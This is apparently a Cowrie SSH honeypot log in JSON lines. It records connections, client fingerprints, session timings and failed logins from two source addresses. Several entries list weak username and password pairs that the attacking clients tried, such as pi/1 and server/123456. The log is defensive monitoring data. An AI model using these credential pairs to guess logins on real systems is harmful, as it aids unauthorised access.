{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:29.449967Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:29.453816Z","src_ip":"91.92.42.133","session":"0686f697d88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:30.361056Z","src_ip":"91.92.40.171","session":"c8c1d00b0710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:31.151524Z","src_ip":"91.92.40.171","session":"415caecd1508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44800,"dst_ip":"159.203.135.109","dst_port":22,"session":"1baa517a6d49","protocol":"ssh","message":"New connection: 91.92.42.133:44800 (159.203.135.109:22) [session: 1baa517a6d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:32.201484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:32.575680Z","src_ip":"91.92.42.133","session":"1baa517a6d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:32.581800Z","src_ip":"91.92.42.133","session":"1baa517a6d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":60654,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be2e60cf97e","protocol":"ssh","message":"New connection: 91.92.40.171:60654 (159.203.135.109:22) [session: 6be2e60cf97e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:34.311087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:34.315001Z","src_ip":"91.92.40.171","session":"6be2e60cf97e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:34.412800Z","src_ip":"91.92.40.171","session":"6be2e60cf97e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:34.469817Z","src_ip":"91.92.42.133","session":"1baa517a6d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:34.750527Z","src_ip":"91.92.40.171","session":"6be2e60cf97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:35.873752Z","src_ip":"91.92.40.171","session":"6be2e60cf97e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:36.034840Z","src_ip":"91.92.42.133","session":"1baa517a6d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40116,"dst_ip":"159.203.135.109","dst_port":22,"session":"85f3be21bba6","protocol":"ssh","message":"New connection: 91.92.42.133:40116 (159.203.135.109:22) [session: 85f3be21bba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:38.613122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:39.175133Z","src_ip":"91.92.42.133","session":"85f3be21bba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:39.181240Z","src_ip":"91.92.42.133","session":"85f3be21bba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":43394,"dst_ip":"159.203.135.109","dst_port":22,"session":"814ea000990f","protocol":"ssh","message":"New connection: 91.92.40.171:43394 (159.203.135.109:22) [session: 814ea000990f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:39.707996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:39.723628Z","src_ip":"91.92.40.171","session":"814ea000990f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:39.820943Z","src_ip":"91.92.40.171","session":"814ea000990f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:40.211189Z","src_ip":"91.92.40.171","session":"814ea000990f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:41.311638Z","src_ip":"91.92.40.171","session":"814ea000990f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"user","message":"login attempt [www/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:42.974574Z","src_ip":"91.92.42.133","session":"85f3be21bba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.3","message":"Connection lost after 6.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:44.905036Z","src_ip":"91.92.42.133","session":"85f3be21bba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38538,"dst_ip":"159.203.135.109","dst_port":22,"session":"faa94af48d9d","protocol":"ssh","message":"New connection: 91.92.42.133:38538 (159.203.135.109:22) [session: faa94af48d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:45.046726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:46.380487Z","src_ip":"91.92.42.133","session":"faa94af48d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:46.383380Z","src_ip":"91.92.42.133","session":"faa94af48d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58722,"dst_ip":"159.203.135.109","dst_port":22,"session":"90f05968042b","protocol":"ssh","message":"New connection: 91.92.40.171:58722 (159.203.135.109:22) [session: 90f05968042b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:46.474152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:46.489547Z","src_ip":"91.92.40.171","session":"90f05968042b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:47.559237Z","src_ip":"91.92.40.171","session":"90f05968042b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58782,"dst_ip":"159.203.135.109","dst_port":22,"session":"708894c4166e","protocol":"ssh","message":"New connection: 91.92.40.171:58782 (159.203.135.109:22) [session: 708894c4166e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:51.366969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:51.454844Z","src_ip":"91.92.40.171","session":"708894c4166e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1qaz2wsx","message":"login attempt [node/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:51.565575Z","src_ip":"91.92.42.133","session":"faa94af48d9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:51.769688Z","src_ip":"91.92.40.171","session":"90f05968042b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:52.066076Z","src_ip":"91.92.40.171","session":"708894c4166e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38592,"dst_ip":"159.203.135.109","dst_port":22,"session":"af6e326ab3b4","protocol":"ssh","message":"New connection: 91.92.42.133:38592 (159.203.135.109:22) [session: af6e326ab3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:52.522045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:53.379293Z","src_ip":"91.92.42.133","session":"af6e326ab3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:53.381911Z","src_ip":"91.92.42.133","session":"af6e326ab3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:53.545985Z","src_ip":"91.92.42.133","session":"faa94af48d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:53.870101Z","src_ip":"91.92.40.171","session":"90f05968042b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:55.164978Z","src_ip":"91.92.40.171","session":"708894c4166e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:56.902861Z","src_ip":"91.92.40.171","session":"708894c4166e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58874,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1341eaddf1e","protocol":"ssh","message":"New connection: 91.92.40.171:58874 (159.203.135.109:22) [session: d1341eaddf1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:57.333039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:39:57.387209Z","src_ip":"91.92.40.171","session":"d1341eaddf1e","protocol":"ssh"}
